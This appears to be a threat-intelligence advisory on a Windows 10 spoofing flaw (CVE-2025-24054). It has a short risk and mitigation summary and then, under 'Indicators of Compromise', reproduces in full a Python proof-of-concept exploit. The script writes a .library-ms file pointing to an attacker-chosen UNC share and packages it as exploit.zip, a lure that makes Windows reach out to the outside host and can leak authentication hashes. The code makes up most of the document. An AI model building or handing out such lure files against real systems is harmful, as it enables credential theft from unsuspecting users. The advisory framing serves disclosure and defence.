A spoofing vulnerability has been identified in Windows 10 version 17763. 7009, allowing an attacker to impersonate or falsify identity-related information. The exploit is remotely executable and implemented in Python, indicating potential automation and ease of use. Although no known exploits are currently active in the wild, the presence of exploit code suggests that threat actors could weaponize this vulnerability. The medium severity rating reflects moderate impact potential, primarily affecting confidentiality and integrity. European organizations using this specific Windows 10 build are at risk, especially those in critical infrastructure and sectors reliant on Windows-based systems. Mitigation requires prompt patching once available, network segmentation, and enhanced monitoring for spoofing attempts. Countries with high Windows 10 enterprise adoption and strategic digital infrastructure, such as Germany, France, and the UK, are most likely to be affected. Defenders should prioritize detection of anomalous authentication or identity spoofing activities and prepare incident response plans accordingly.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Windows 10.0.17763.7009 - spoofing vulnerability # Google Dork: N/A # Date: 2025-10-06 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.microsoft.com # Software Link: N/A # Version: Not applicable (this is a generic Windows library file behavior) # Tested on: Windows 10 (x64) / Windows 11 (x64) (lab environment) # CVE: CVE-2025-24054 # # Description: # A proof-of-concept that generates a .library-ms XML file pointing to a network # share (UNC). When opened/imported on Windows, the library points to the specified # UNC path. # # Notes: # - This PoC is provided for responsible disclosure only. Do not test against # live/production websites or networks without explicit written permission. # - Attach exactly one exploit file per email (this file). # - Include the .library-ms (or ZIP containing it) as an attachment, plus this header block. #!/usr/bin/env python3 import argparse import ipaddress import os import re import sys import tempfile import zipfile import shutil from pathlib import Path # Very small hostname check (keeps things simple) _HOSTNAME_RE = re.compile( r"^(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.)*[A-Za-z0-9\-]{1,63}$" ) # simple sanitizer: allow only a limited charset for base filenames _FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]{1,128}$") def is_valid_target(value: str) -> bool: """ Return True if value looks like an IP address, a hostname, or a UNC path. This is intentionally permissive — it's only to catch obvious typos. """ if value.startswith("\\\\") or value.startswith("//"): # Minimal UNC sanity: ensure there's at least \\host\share (two components) parts = re.split(r"[\\/]+", value.strip("\\/")) return len(parts) >= 2 and all(parts[:2]) try: ipaddress.ip_address(value) return True except ValueError: pass if _HOSTNAME_RE.match(value): return True return False def build_library_xml(target: str) -> str: """ Build the XML content for the .library-ms file. If the user supplies a bare host/IP, the script uses a share called 'shared' (matching the original behavior). """ if target.startswith("\\\\") or target.startswith("//"): # normalize forward slashes to backslashes (if any) url = target.replace("/", "\\") else: url = f"\\\\{target}\\shared" # Return a plain, minimal XML structure (no additional payloads) return f"""<?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <searchConnectorDescriptionList> <searchConnectorDescription> <simpleLocation> <url>{url}</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription> """ def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -> None: """ Write the XML to a temporary .library-ms file and add it into a zip. """ tmpdir = Path(tempfile.mkdtemp(prefix="libgen_")) try: tmp_lib = tmpdir / lib_name tmp_lib.write_text(xml_content, encoding="utf-8") with zipfile.ZipFile(zip_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf: # place the file at the root of the zip zf.write(tmp_lib, arcname=lib_name) finally: # robust cleanup try: shutil.rmtree(tmpdir) except Exception: pass def sanitize_basename(name: str) -> str: """ Ensure the provided base filename is a short safe token (no path separators). Raises ValueError on invalid names. """ if not name: raise ValueError("Empty filename") if os.path.sep in name or (os.path.altsep and os.path.altsep in name): raise ValueError("Filename must not contain path separators") if not _FILENAME_RE.match(name): raise ValueError( "Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen" ) return name def main(): parser = argparse.ArgumentParser( description="Generate a .library-ms inside a zip (keep it responsible)." ) parser.add_argument( "--file", "-f", default=None, help="Base filename (without extension). If omitted, interactive prompt is used.", ) parser.add_argument( "--target", "-t", default=None, help="Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\host\\share).", ) parser.add_argument( "--zip", "-z", default="exploit.zip", help="Output zip filename (default: exploit.zip).", ) parser.add_argument( "--out", "-o", default=".", help="Output directory (default: current directory).", ) parser.add_argument( "--dry-run", action="store_true", help="Print the .library-ms content and exit without creating files.", ) parser.add_argument( "--force", action="store_true", help="Overwrite output zip if it already exists (use with care).", ) args = parser.parse_args() # Interactive fallback if needed if not args.file: try: args.file = input("Enter your file name (base, without extension): ").strip() except EOFError: print("No file name provided.", file=sys.stderr) sys.exit(1) if not args.target: try: args.target = input( "Enter IP or host (e.g. 192.168.1.162 or \\\\host\\share): " ).strip() except EOFError: print("No target provided.", file=sys.stderr) sys.exit(1) # sanitize filename try: safe_base = sanitize_basename(args.file) except ValueError as e: print(f"ERROR: invalid file name: {e}", file=sys.stderr) sys.exit(2) if not args.target or not is_valid_target(args.target): print( "ERROR: target does not look like a valid IP, hostname, or UNC path.", file=sys.stderr, ) sys.exit(2) lib_filename = f"{safe_base}.library-ms" xml = build_library_xml(args.target) # Dry-run: show the content and exit if args.dry_run: print("=== DRY RUN: .library-ms content ===") print(xml) print("=== END ===") print(f"(Would create {lib_filename} inside {args.zip} in {args.out})") return out_dir = Path(args.out).resolve() out_dir.mkdir(parents=True, exist_ok=True) zip_path = out_dir / args.zip if zip_path.exists() and not args.force: print( f"ERROR: {zip_path} already exists. Use --force to overwrite.", file=sys.stderr, ) sys.exit(3) # small reminder about authorization print("Reminder: run tests only against systems you are authorized to test.") write_zip_with_lib(xml, lib_filename, zip_path) print(f"Done. Created {zip_path} containing {lib_filename} -> points to {args.target}") if __name__ == "__main__": main()